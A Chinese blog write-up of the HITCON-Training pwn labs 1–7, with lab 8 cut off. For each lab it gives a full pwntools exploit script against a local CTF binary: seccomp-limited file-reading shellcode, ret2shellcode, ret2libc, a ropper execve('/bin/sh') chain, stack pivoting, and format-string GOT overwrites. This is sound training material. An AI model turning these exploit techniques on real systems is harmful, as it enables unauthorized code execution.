0%

HITCON-Training回顾pwn题工具使用与基本套路

因为项目和刷leetcode,好久没实操pwn题了,最近回看一下基础的pwn题,回顾基本操作与工具使用并做个记录方便日后查阅。这里选取的是下面这个项目。

项目地址:scwuaptx/HITCON-Training

Outline

  • Basic Knowledge

    • Introduction
      • Reverse Engineering
        • Static Analysis
        • Dynamic Analysis
      • Exploitation
      • Useful Tool
        • IDA PRO
          • GDB
          • Pwntool
      • lab 1 - sysmagic
    • Section
    • Compile,linking,assmbler
    • Execution
      • how program get run
      • Segment
    • x86 assembly
  • Stack Overflow

  • Return Oriented Programming

  • Format String Attack

  • x64 Binary Exploitation

    • x64 assembly
    • ROP
    • Format string Attack
  • Heap exploitation

    • Glibc memory allocator overview
    • Vulnerablility on heap
      • Use after free
      • Heap overflow
        • house of force
          • [lab 11 - 1 - bamboobox1](#lab11 - 1)
        • unlink
          • [lab 11 - 2 - bamboobox2](#lab11 - 2)
  • Advanced heap exploitation

  • C++ Exploitation

    • Name Mangling
    • Vtable fucntion table
    • Vector & String
    • New & delete
    • Copy constructor & assignment operator

Details

这里是writeup。待更新…

lab1

这是一道非常简单的逆向题,给出的是一个elf32的bin,通过ida打开,main如下:

1
2
3
4
5
6
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(_bss_start, 0, 2, 0);
get_flag();
return 0;
}

主要逻辑位于get_flag函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
unsigned int get_flag()
{
//set registers
...
fd = open("/dev/urandom", 0);
read(fd, &buf, 4u);
printf("Give me maigc :");
__isoc99_scanf("%d", &v2);
if ( buf != v2 )
{
for ( i = 0; i <= 0x30; ++i )
putchar((char)(*(&v5 + i) ^ *((_BYTE *)&v54 + i)));
}
return __readgsdword(0x14u) ^ v67;
}
//函数从/dev/urandom中读入4字节到buf,然后比对是否正确,正确则使用putchar输出解密后的flag

由于flag并不依赖于输入,所以直接按照程序逻辑解码即可。

exp

1
2
3
4
5
6
cipher= [7, 59, 25, 2, 11, 16, 61, 30, 9, 8, 18, 45, 40, 89, 10, 0, 30, 22, 0, 4, 85, 22, 8, 31, 7, 1, 9, 0, 126, 28, 62, 10, 30, 11, 107, 4, 66, 60, 44, 91, 49, 85, 2, 30, 33, 16, 76, 30, 66]
key= "Do_you_know_why_my_teammate_Orange_is_so_angry???"
flag=[]
for i in range(0,0x31):
flag.append(chr(cipher[i] ^ ord(key[i])))
print("flag: "+''.join(flag))

得到flag: CTF{debugger_1s_so_p0werful_1n_dyn4m1c_4n4lySis!}

lab2

题目基本信息、保护措施与运行情况如下

1
2
3
4
5
6
7
8
9
10
11
12
13
root@e76fd4f7:/ctf/work/lab2# file orw.bin
orw.bin: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=e60ecccd9d01c8217387e8b77e9261a1f36b5030, not stripped
root@e76fd4f7:/ctf/work/lab2# checksec --file orw.bin
[*] '/ctf/work/lab2/orw.bin'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
root@e76fd4f7:/ctf/work/lab2# ./orw.bin
Give my your shellcode:0x121212121212
Segmentation fault

ida查看:

1
2
3
4
5
6
7
8
int __cdecl main(int argc, const char **argv, const char **envp)
{
orw_seccomp();
printf("Give my your shellcode:");
read(0, &shellcode, 0xC8u);
((void (*)(void))shellcode)();
return 0;
}

逻辑比较简单,接受用户传入的shellcode并且直接执行。这里需要注意的是在此之前调用了orw_seccomp()函数,经过搜索知道seccomp大概是一个类似沙箱的东西,禁用掉了一部分的系统调用,可以使用seccomp-tools来查看。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
root@e76fd4f7:/ctf/work/lab2# seccomp-tools dump ./orw.bin
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x09 0x40000003 if (A != ARCH_I386) goto 0011
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x07 0x00 0x000000ad if (A == rt_sigreturn) goto 0011
0004: 0x15 0x06 0x00 0x00000077 if (A == sigreturn) goto 0011
0005: 0x15 0x05 0x00 0x000000fc if (A == exit_group) goto 0011
0006: 0x15 0x04 0x00 0x00000001 if (A == exit) goto 0011
0007: 0x15 0x03 0x00 0x00000005 if (A == open) goto 0011
0008: 0x15 0x02 0x00 0x00000003 if (A == read) goto 0011
0009: 0x15 0x01 0x00 0x00000004 if (A == write) goto 0011
0010: 0x06 0x00 0x00 0x00050026 return ERRNO(38)
0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW

是一个白名单,只有跳转到0010的几个系统调用是可以使用的,其余的都被禁用掉了。我们的目标是获取flag文件,使用read读入文件,再用write写入标准输出流即可,不需要得到shell

exp

这里使用pwntools的shellcode生成模块来生成shellcode。至于这里的flag路径怎么办,我觉得只有不停的猜测了,一般是就在本题的目录下的,所以可以先用相对路径尝试下…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
context.log_level = "debug"
p=process('./orw.bin')
# push path
payload=shellcraft.pushstr('./flag.txt')
# open file
payload+=shellcraft.open("esp")
# read file
payload+=shellcraft.read("eax","esp",0x100)
# write stdout
payload+=shellcraft.write(1,"esp",0x100)
p.recv(1024)
#gdb.attach(p)
p.sendline(asm(payload))
p.recvall()
p.close()

运行结果:

1
2
3
4
5
6
root@e76fd4f7:/ctf/work/lab2# python3 exp.py
[+] Starting local process './orw.bin': pid 113
b'Give my your shellcode:'
[+] Receiving all data: Done (256B)
[*] Stopped process './orw.bin' (pid 113)
b'this is your flag\n\xf0\xf7\xb0\xf9\x9c\xff\x00\x00\x00\x00\x81\x8e\xd2\xf7\x00\x80\xee\xf7\x00\x80\xee\xf7\x00\x00\x00\x00\x81\x8e\xd2\xf7\x01\x00\x00\x00D\xfa\x9c\xffL\xfa\x9c\xff\xd4\xf9\x9c\xff\x01\x00\x00\x00\x00\x00\x00\x00\x00\x80\xee\xf7Z\xb7\xf0\xf7\x000\xf2\xf7\x00\x00\x00\x00\x00\x80\xee\xf7\x00\x00\x00\x00\x00\x00\x00\x00\x04\x1f1\x80\x14\xf9\xde\x1c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\xd0\x83\x04\x08\x00\x00\x00\x00 \x0e\xf1\xf7\xb0\xb9\xf0\xf7\x000\xf2\xf7\x01\x00\x00\x00\xd0\x83\x04\x08\x00\x00\x00\x00\xf1\x83\x04\x08H\x85\x04\x08\x01\x00\x00\x00D\xfa\x9c\xff\xa0\x85\x04\x08\x00\x86\x04\x08\xb0\xb9\xf0\xf7<\xfa\x9c\xff@9\xf2\xf7\x01\x00\x00\x00\xb9\x18\x9d\xff\x00\x00\x00\x00\xc3\x18\x9d\xff\xd6\x18\x9d\xff\xc2\x1e\x9d\xff\xe4\x1e\x9d\xff\xf5\x1e\x9d\xff\x07\x1f\x9d\xff\x1a\x1f\x9d\xff%\x1f\x9d\xff>\x1f\x9d\xffI\x1f\x9d\xffQ\x1f\x9d\xffc\x1f\x9d\xff\xa5\x1f\x9d\xff'

这里因为不知道flag长度,所以输出了一些超过的内存部分。

关于seccomp的情况写在Seccomp 限制系统调用

lab3

题目基本信息、保护措施与运行情况如下

1
2
3
4
5
6
7
8
9
10
11
12
13
root@e76fd4f7:/ctf/work/lab3# file ret2sc
ret2sc: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.24, BuildID[sha1]=31484b774646e78186848556eae669af027787ce, not stripped
root@e76fd4f7:/ctf/work/lab3# checksec ret2sc
[*] '/ctf/work/lab3/ret2sc'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
root@e76fd4f7:/ctf/work/lab3# ./ret2sc
Name:asasa
Try your best:asasasass

使用ida查看main函数如下:

1
2
3
4
5
6
7
8
9
10
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-14h]

setvbuf(stdout, 0, 2, 0);
printf("Name:");
read(0, &name, 0x32u);
printf("Try your best:");
return (int)gets(&s);
}

可以看到首先将读取的0x32字节的输入放入.bss段的name,之后调用gets读取字符放入栈上变量s,这里由于gets函数会无限读取至遇到换行符,所以会导致栈溢出。而通过readelf可以看到.bss段是可以执行的

1
2
3
4
5
6
7
8
9
root@e76fd4f7:/ctf/work/lab3# objdump -h ./ret2sc

./ret2sc: file format elf32-i386

Sections:
Idx Name Size VMA LMA File off Algn
...
24 .bss 00000054 0804a040 0804a040 0000102c 2**5
ALLOC

拿这题思路就比较直接,将shellcode注入name位置,然后利用栈溢出跳转至shellcode执行即可。

exp

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

p = process("./ret2sc")
name_addr = 0x804a060
p.recvuntil(":")
p.sendline(asm(shellcraft.sh()))
p.recvuntil(":")
payload = flat(["a"*32,name_addr])

p.sendline(payload)

p.interactive()

lab4

查看程序基础信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
root@e76fd4f7:/ctf/work/lab4# file ret2lib
ret2lib: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.24, BuildID[sha1]=c74b2683d6d3b99439c3e04d6d81b233e6a3b1b6, not stripped
root@e76fd4f7:/ctf/work/lab4# checksec ret2lib
[*] '/ctf/work/lab4/ret2lib'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
root@e76fd4f7:/ctf/work/lab4# ./ret2lib
###############################
Do you know return to library ?
###############################
What do you want to see in memory?
Give me an address (in dec) :12345678
Segmentation fault

ida查看程序基本逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int __cdecl main(int argc, const char **argv, const char **envp)
{
char **v3; // ST04_4
int v4; // ST08_4
char src; // [esp+12h] [ebp-10Eh]
char buf; // [esp+112h] [ebp-Eh]
int v8; // [esp+11Ch] [ebp-4h]

puts("###############################");
puts("Do you know return to library ?");
puts("###############################");
puts("What do you want to see in memory?");
printf("Give me an address (in dec) :");
fflush(stdout);
read(0, &buf, 0xAu);
v8 = strtol(&buf, v3, v4);
See_something(v8);
printf("Leave some message for me :");
fflush(stdout);
read(0, &src, 0x100u);
Print_message(&src);
puts("Thanks you ~");
return 0;
}

先接收一个字符串转换成十进制数并作为参数调用See_something查看该地址的数据。这个部分可用来泄露libc地址。

接着Print_message函数中出现了一个溢出

1
2
3
4
5
6
7
int __cdecl Print_message(char *src)
{
char dest; // [esp+10h] [ebp-38h]

strcpy(&dest, src);
return printf("Your message is : %s", &dest);
}

利用这个漏洞可以进行ROP。

总结一下思路:

  • 利用See_something去泄露printf地址,比对得到libc版本,计算libc基址与system地址
  • 利用栈溢出rop。

writeup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from LibcSearcher import *
from pwn import *

context.log_level = "debug"

p = process("./ret2lib")
got_puts = 0x804A01C

p.recvuntil("Give me an address (in dec) :")

p.sendline(str(got_puts))

p.recvuntil(":")
puts_addr = int(p.recvuntil("\n").strip(),16)


obj = LibcSearcher("puts", puts_addr)#这里libc版本搜素似乎有些错误->但原题目好像是已知libc版本
libc_base = puts_addr - obj.dump("puts")
#print(hex(obj.dump("system")))
system_addr = obj.dump("system") + libc_base
str_sh = obj.dump("str_bin_sh") + libc_base
p.recvuntil("Leave some message for me :")


#print(hex(system_addr))
#pd = cyclic(x100)
#input()
payload = flat(["a"*60,system_addr,"bbbb",str_sh])

p.sendline(payload)
p.interactive()

lab5

经典的ROP题目,基本信息如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
root@dc29cfb4:/ctf/work/lab5# file simplerop
simplerop: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=bdd40d725b490b97d5a25857a6273870c7de399f, not stripped
root@dc29cfb4:/ctf/work/lab5# checksec simplerop
[*] Checking for new versions of pwntools
To disable this functionality, set the contents of /root/.pwntools-cache-3.6/update to 'never'.
[*] A newer version of pwntools is available on pypi (4.0.1 --> 4.2.1).
Update with: $ pip install -U pwntools
[*] '/ctf/work/lab5/simplerop'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
root@dc29cfb4:/ctf/work/lab5# ./simplerop
ROP is easy is'nt it ?
Your input :aaaaaaaaaa

有一些比较关键的信息,栈保护没开,并且是静态链接,这是比较简单的ROP的基本操作。利用ida查看反编译代码逻辑

1
2
3
4
5
6
7
8
9
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+1Ch] [ebp-14h]

puts("ROP is easy is'nt it ?");
printf("Your input :");
fflush(stdout);
return read(0, &v4, 100);
}

逻辑非常的简单,栈上0x14字节空间读入了100字节数据溢出,ROP可以秒杀但需要注意payload要控制在100字节内。这里我使用ropper直接生成chain:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
root@dc29cfb4:/ctf/work/lab5# ropper -f ./simplerop --chain "execve cmd=/bin/bash"
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%

[INFO] ROPchain Generator for syscall execve:


[INFO]
write command into data section
eax 0xb
ebx address to cmd
ecx address to null
edx address to null


[INFO] Try to create chain which fills registers without delete content of previous filled registers
[*] Try permuation 1 / 24
[INFO] Look for syscall gadget

[INFO] syscall gadget found
[INFO] generating rop chain
#!/usr/bin/env python
# Generated by ropper ropchain generator #
from struct import pack

p = lambda x : pack('I', x)

IMAGE_BASE_0 = 0x08048000 # 69bf22d0c745d6fe77b538df2c44a18efb54a904539c9f8604927d0f701ba020
rebase_0 = lambda x : p(x + IMAGE_BASE_0)

rop = ''

rop += rebase_0(0x00072e06) # 0x080bae06: pop eax; ret;
rop += '////'
rop += rebase_0(0x0002682a) # 0x0806e82a: pop edx; ret;
rop += rebase_0(0x000a2060)
rop += rebase_0(0x0005215d) # 0x0809a15d: mov dword ptr [edx], eax; ret;
rop += rebase_0(0x00072e06) # 0x080bae06: pop eax; ret;
rop += 'bin/'
rop += rebase_0(0x0002682a) # 0x0806e82a: pop edx; ret;
rop += rebase_0(0x000a2064)
rop += rebase_0(0x0005215d) # 0x0809a15d: mov dword ptr [edx], eax; ret;
rop += rebase_0(0x00072e06) # 0x080bae06: pop eax; ret;
rop += 'bash'
rop += rebase_0(0x0002682a) # 0x0806e82a: pop edx; ret;
rop += rebase_0(0x000a2068)
rop += rebase_0(0x0005215d) # 0x0809a15d: mov dword ptr [edx], eax; ret;
rop += rebase_0(0x00072e06) # 0x080bae06: pop eax; ret;
rop += p(0x00000000)
rop += rebase_0(0x0002682a) # 0x0806e82a: pop edx; ret;
rop += rebase_0(0x000a206c)
rop += rebase_0(0x0005215d) # 0x0809a15d: mov dword ptr [edx], eax; ret;
rop += rebase_0(0x000001c9) # 0x080481c9: pop ebx; ret;
rop += rebase_0(0x000a2060)
rop += rebase_0(0x0009e910) # 0x080e6910: pop ecx; push cs; or al, 0x41; ret;
rop += rebase_0(0x000a206c)
rop += rebase_0(0x0002682a) # 0x0806e82a: pop edx; ret;
rop += rebase_0(0x000a206c)
rop += rebase_0(0x00072e06) # 0x080bae06: pop eax; ret;
rop += p(0x0000000b)
rop += rebase_0(0x00026ef0) # 0x0806eef0: int 0x80; ret;
print rop
[INFO] rop chain generated!

生成的chain比较丑陋而且太长了,缩减其中的部分后可以得到后面writeup中payload。

之后测定返回地址前数据长度,使用cyclic生成100B数据并结合gdb调试进行测试。

1
2
3
4
5
6
7
8
9
10
from pwn import *

context.log_level = "debug"
p = process("./simplerop")

p.recvuntil("Your input :")
payload = cyclic(100)
input() #for debug
p.send(payload)
p.interactive()

利用input断下脚本。gdb attach到相应pid设下断点后继续运行脚本,发现ret时的指令地址是0x61616169,通过cyclic_find找出偏移字节32,最后形成writeup。

writeup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *

context.log_level = "debug"
p = process("./simplerop")

p.recvuntil("Your input :")
#payload = cyclic(100)
#input() #for debug

#add base address
basep = lambda x : (x + 0x08048000)

#这段payload利用ropper生成并进行了长度缩减
#root@4a32d8eb:/ctf/work/lab5# ropper --file ./simplerop --chain "execve cmd=/bin/sh"
#0x0806e850 -> pop edx; pop ecx; pop ebx; ret
payload = flat(['a'*32,basep(0x00072e06),'/bin',basep(0x0002682a), basep(0x000a2060),basep(0x0005215d),basep(0x00072e06),'/sh\x00', basep(0x0002682a),basep(0x000a2064),basep(0x0005215d),0x0806e850,0,0, basep(0x000a2060),basep(0x00072e06),0xb,basep(0x00026ef0)])

#input() #for debug
p.send(payload)
p.interactive()

lab6

查看题目基本信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
root@5aa3762b:/ctf/work/lab6# file migration
migration: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=e65737a9201bfe28db6fe46f06d9428f5c814951, not stripped
root@5aa3762b:/ctf/work/lab6# checksec migration
[*] Checking for new versions of pwntools
To disable this functionality, set the contents of /root/.pwntools-cache-3.6/update to 'never'.
[*] A newer version of pwntools is available on pypi (4.0.1 --> 4.2.1).
Update with: $ pip install -U pwntools
[*] '/ctf/work/lab6/migration'
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
root@5aa3762b:/ctf/work/lab6# ./migration
Try your best :
asaaaaaaaaaaa
root@5aa3762b:/ctf/work/lab6# ./migration
Try your best :
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault

是一个溢出的题目。ida查看程序逻辑:

1
2
3
4
5
6
7
8
9
10
11
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [esp+0h] [ebp-28h]

if ( count != 1337 )
exit(1);
++count;
setvbuf(_bss_start, 0, 2, 0);
puts("Try your best :");
return read(0, &buf, 0x40u);
}

安全措施主要是开启了栈不可执行保护。根据ida的反编译结果很容易看出这是一个栈溢出的题目,并且可以构造ROP的溢出大小=0x40-0x28-0x4(ebp)=20字节,这个长度显然不够构造ROP chain的,而且开头还通过count进行了main执行次数限制,防止多次ROP。由此需要用到栈迁移(当然分析是这样,其实名字已经很明显了)。

栈迁移相比一般栈溢出的话,特点是一般做了些限制(from ctf-wiki):

  • 可以控制的栈溢出的字节数较少,难以构造较长的 ROP 链
  • 开启了 PIE 保护,栈地址未知,我们可以将栈劫持到已知的区域
  • 其它漏洞难以利用,我们需要进行转换,比如说将栈劫持到堆空间,从而在堆上写 rop 及进行堆漏洞利用

在有限的栈溢出空间插入修改esp的指针(如gadgetpop esp; ret),将栈迁移到部署了ROP的内存地址,进行ROP。原理图如下:

stack_pivot

下面具体针对这题。首先需要将栈转移到已知地址,这里选择bss+0x300地址处,尽量避免覆盖掉程序的data、got、bss等segment的信息防止crash,调用read函数写入gadget,并且为了保持控制权,最后要返回到bss+0x300处。这段的payload如下:

1
2
3
4
5
6
payload1 = flat(["a"*0x28,bss_addr+0x300,read_plt,leave_ret,0,bss_addr+0x300,100])
#"a"*0x28 -> junk
# bss_addr+0x300 -> fake_ebp
# read_plt -> call read
#leave_ret ->消耗掉0 并且ret to bss_addr+0x100
# 0,bss_addr+0x300,100 -> read 参数

之后我们便已经获得了一个更大的溢出空间(也就是read的100B)。

接下来我们需要泄露出libc地址,这里可以是puts也可以是read的地址,通过puts函数打印出其got表值即其地址,并且完成后依然要继续维持控制权。这里防止read覆盖掉后续栈内存,需要再开一个新的栈空间bss+0x600

1
2
3
4
5
6
7
payload2 = flat([bss_addr+0x600,puts_plt,pop_ret,puts_got,read_plt,leave_ret,0,bss_addr+0x600,100])
#bss_addr+0x600 -> leave用来设置ebp(mov esp,ebp;pop ebp
# ->ebp = bss_addr+0x600; esp = bss_addr+0x300 )
# puts_plt -> call puts
# pop_ret -> 消耗掉puts_got
# puts_got -> puts泄露的puts_got表项值,即libc中puts地址
# read_plt,leave_ret,0,bss_addr+0x600,100 -> 同payload1 再次获得控制权并读入数据到一个新栈地址

这样之后便得到了libc中puts函数地址,根据libc基址对齐以及puts偏移得到libc版本信息,计算出system函数地址,跳转执行(为了防止read覆盖再次切换栈位置,两个栈反复横跳即可,当然也可以再开一个新栈):

1
2
3
4
5
6
payload3 = flat([bss_addr+0x300,system_addr,0,bss_addr+0x600+4*4,"/bin/sh\x00"])
#bss_addr+0x300 -> 同payload2
#system_addr -> ret to system
# 0 -> system调用时内存布局的占位junk数据
# bss_addr+0x600+4*4 -> "/bin/sh"地址
#"/bin/sh" -> system参数

writeup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
from time import sleep
from LibcSearcher import *
context.log_level = "debug"
p = process("./migration")
elf = ELF("./migration")

bss_addr = 0x804a000
read_plt = elf.plt["read"]
read_got = elf.got["read"]
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]

pop_ret = 0x0804836D
leave_ret = 0x08048418


payload1 = flat(["a"*0x28,bss_addr+0x300,read_plt,leave_ret,0,bss_addr+0x300,100])
p.recvuntil("Try your best :\n")
#input()#debug
p.send(payload1)
sleep(0.1)

payload2 = flat([bss_addr+0x600,puts_plt,pop_ret,puts_got,read_plt,leave_ret,0,bss_addr+0x600,100])

p.sendline(payload2)

puts_addr = u32(p.recvuntil("\n")[:4])
#print("puts addr: ",hex(puts_addr))
obj = LibcSearcher("puts", puts_addr)
libc_base = puts_addr - obj.dump("puts")
#print("libc addr: ",hex(libc_base))
system_addr = libc_base + obj.dump("system")
#print("system addr: ",hex(system_addr))
payload3 = flat([bss_addr+0x300,system_addr,0,bss_addr+0x600+4*4,"/bin/sh\x00"])
p.sendline(payload3)
p.interactive()

这题主要需要注意的细节就是read不要覆盖了不能覆盖的数据,以及puts函数会额外输出一个”\n”总是搞忘:=。

lab7

题目信息如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
root@4177d9af:/ctf/work/lab7# file ./crack
./crack: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=66ea82f29539f0da4643036bca734fcd9b4791f9, not stripped
root@4177d9af:/ctf/work/lab7# checksec ./crack
[*] Checking for new versions of pwntools
To disable this functionality, set the contents of /root/.pwntools-cache-3.6/update to 'never'.
[*] A newer version of pwntools is available on pypi (4.0.1 --> 4.2.1).
Update with: $ pip install -U pwntools
[*] '/ctf/work/lab7/crack'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
root@4177d9af:/ctf/work/lab7# ./crack
What your name ? %p%p
Hello ,0xff98c8580x63
Your password :aaaaaaaa
Goodbyte

一个动态链接的crack小程序,包含一个格式化字符串漏洞。用ida反编译,main反编译结果如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
int fd; // ST14_4
char nptr; // [esp+8h] [ebp-80h]
char buf; // [esp+18h] [ebp-70h]
unsigned int v8; // [esp+7Ch] [ebp-Ch]

v8 = __readgsdword(0x14u);
setvbuf(_bss_start, 0, 2, 0);
v3 = time(0);
srand(v3);
fd = open("/dev/urandom", 0);
read(fd, &password, 4u);
printf("What your name ? ");
read(0, &buf, 0x63u);
printf("Hello ,");
printf(&buf);
printf("Your password :");
read(0, &nptr, 0xFu);
if ( atoi(&nptr) == password )
{
puts("Congrt!!");
system("cat /home/crack/flag");
}
else
{
puts("Goodbyte");
}
return 0;
}

程序大致意思很明显,运行时获取随机password值,回答正确即可分支跳转到获取flag代码。

格式化字符串的大致原理之前有做过简单的研究,见格式化字符串漏洞。对于这个程序也不涉及到获取变量,只需要通过%x打印出对应位置的数据即可,使用gdb进行调试,断在printf(&buf),即0x80486C1。

原理是原理,工具是工具,用pwntools直接生成payload比手动计算偏移可轻松太多了。主要是三个思路

  • 泄露passwd
  • 修改passwd
  • 修改puts_got到执行system那条语句地址

writeup

下面分别看下这三个思路。

泄露和修改passwd基本相似

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#修改password
from pwn import *

pwd_addr = 0x804a048
payload = fmtstr_payload(10,{pwd_addr:6})#利用fmtstr_payload生成payload
#第一个参数表示格式化字符串地址的偏移;
#第二个参数表示需要利用%n写入的数据,采用字典形式,比如要将puts的GOT数据改为system函数地址,{puts_GOT: system_Addr}
#第三个参数表示已经输出的字符个数,这里没有,为0,采用默认值即可;
#第四个参数表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写。

p = process("./crack")
p.sendlineafter("?",payload)
p.sendlineafter(":","6")

p.interactive()
1
2
3
4
5
6
7
8
9
10
11
#leak password
from pwn import *
pwd_addr = 0x804a048
payload = flat([pwd_addr,"_%10$s__"])

p = process("./crack")
p.sendlineafter("?",payload)
p.recvuntil("_")
passwd = u32(p.recvuntil("__",drop=True))
p.sendlineafter(":",str(passwd))
p.interactive()

修改puts_got方法的脚本其实和修改passwd一样,只是换了修改的地址而已。

1
2
3
4
5
6
7
8
9
10
11
#write puts_got
from pwn import *
puts_got = 0x804a01c
system_path = 0x804872b

p = process("./crack")
payload = fmtstr_payload(10,{puts_got:system_path})
p.sendlineafter("?",payload)
p.sendlineafter(":","")

p.interactive()

浅谈fmtstr_payload使用

可以看到exp中有使用fmtstr_payload(10,{pwd_addr:6})这样生成payload,这里说一下fmtstr_payload的简单使用. fmtstr_payload文档如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
Makes payload with given parameter. It can generate payload for 32 or 64 bits architectures. The size of the addr is taken from context.bits

The overflows argument is a format-string-length to output-amount tradeoff: Larger values for overflows produce shorter format strings that generate more output at runtime.

Parameters:
offset (int) – the first formatter’s offset you control
writes (dict) – dict with addr, value {addr: value, addr2: value2}
numbwritten (int) – number of byte already written by the printf function
write_size (str) – must be byte, short or int. Tells if you want to write byte by byte, short by short or int by int (hhn, hn or n)
overflows (int) – how many extra overflows (at size sz) to tolerate to reduce the length of the format string
strategy (str) – either ‘fast’ or ‘small’ (‘small’ is default, ‘fast’ can be used if there are many writes)
Returns:
The payload in order to do needed writes

平时做pwn主要用到的就是前2个参数:

  • offset:第一个格式化字符存放的位置偏移。
    • 如何得到这个偏移,其实最简单的就是直接%X打印栈,如下
1
2
3
4
5
root@34c8834f:/ctf/work/lab7# ./crack
What your name ? aaaa.%X.%X.%X.%X.%X.%X.%X.%X.%X.%X.%X.%X.%X.%X
Hello ,aaaa.FFAD7FC8.63.0.F7FA3A9C.3.F7F75410.1.0.1.61616161.2E58252E.252E5825.58252E58.2E58252E
����H���Your password :11
Goodbyte

格式化字符串第一个字符aaaa其位置通过不停的打印栈可以得到在偏移10(0xa)位置出现,偏移以0开始,便可以直接得到此参数为10。

  • writes:一个字典,用来写数据,以 {addr: value, addr2: value2,…}将value写入addr位置。
  • numbwritten:如果printf前面还有打印的字符,就需要设置这个参数
  • write_size:写入的大小,是每次单字节写入,还是一次写入双字节,还是一次写入四个字节。

下面看一下fmtstr_payload生成的payload,如下:

1
2
3
4
5
6
7
8
9
root@34c8834f:/ctf/work/lab7# python3
Python 3.6.9 (default, Nov 7 2019, 10:44:02)
[GCC 8.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> puts_got = 0x804a01c
>>> system_path = 0x804872b
>>> fmtstr_payload(10,{puts_got:system_path})
b'%8c%19$hhn%35c%20$hhn%1116c%21$hnaaa\x1f\xa0\x04\x08\x1c\xa0\x04\x08\x1d\xa0\x04\x08'

这段payload作用是将值0x804872b写入地址0x804a01c。首先fmtstr_payload将这个值拆成了三个部分:0x2b,0x0487,0x8依次放入0x804a01c至0x804a01f。

  • 对于0x8,根据给出的偏移(10)与最后生成的格式化字符中目标地址存放位置的偏移(9)相加得到%19$n,并且写入格式为字节,所以最后得到**%8c%19$hhn**

  • 对于0x2b,根据给出的偏移(10)与最后生成的格式化字符中目标地址存放位置的偏移(10)相加得到%20$n,并且写入格式为字节,所以最后得到**%20$hhn**,而前面已经输出了0x8,这里只需要再写入35个字符便得到,所以最后为**%35c%20$hhn**

  • 同理,0x487=1116+35+8,偏移为21->%1116c%21$hhn

  • 最后aaa用来对齐

pwntools的fmtstr模块函数比较多,后续会专门看一下其他的功能以及这个模块的实现。

lab8

题目基本信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
root@34c8834f:/ctf/work/lab8# file ./craxme
./craxme: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=2b264eb7dfa7fe74e2dce2cf802a6b5300737b65, not stripped
root@34c8834f:/ctf/work/lab8# checksec ./craxme
[*] '/ctf/work/lab8/craxme'
